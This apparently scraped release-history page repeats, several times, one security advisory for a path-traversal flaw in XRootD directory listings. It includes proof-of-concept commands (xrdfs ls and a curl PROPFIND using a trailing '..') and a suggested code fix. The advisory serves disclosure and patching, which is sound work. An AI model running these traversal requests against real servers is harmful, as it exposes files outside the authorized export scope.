Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Oct 19, 2022

5.5.0 minor

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Aug 26, 2022

5.4.3 patch

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Jun 09, 2022

5.4.2 patch

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Mar 02, 2022

5.4.1 patch

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Feb 23, 2022

5.4.0 minor

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Dec 10, 2021

5.3.4 patch

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Nov 29, 2021

4.12.7 patch

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Nov 25, 2021

5.3.3 patch

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Nov 15, 2021

Activity

Details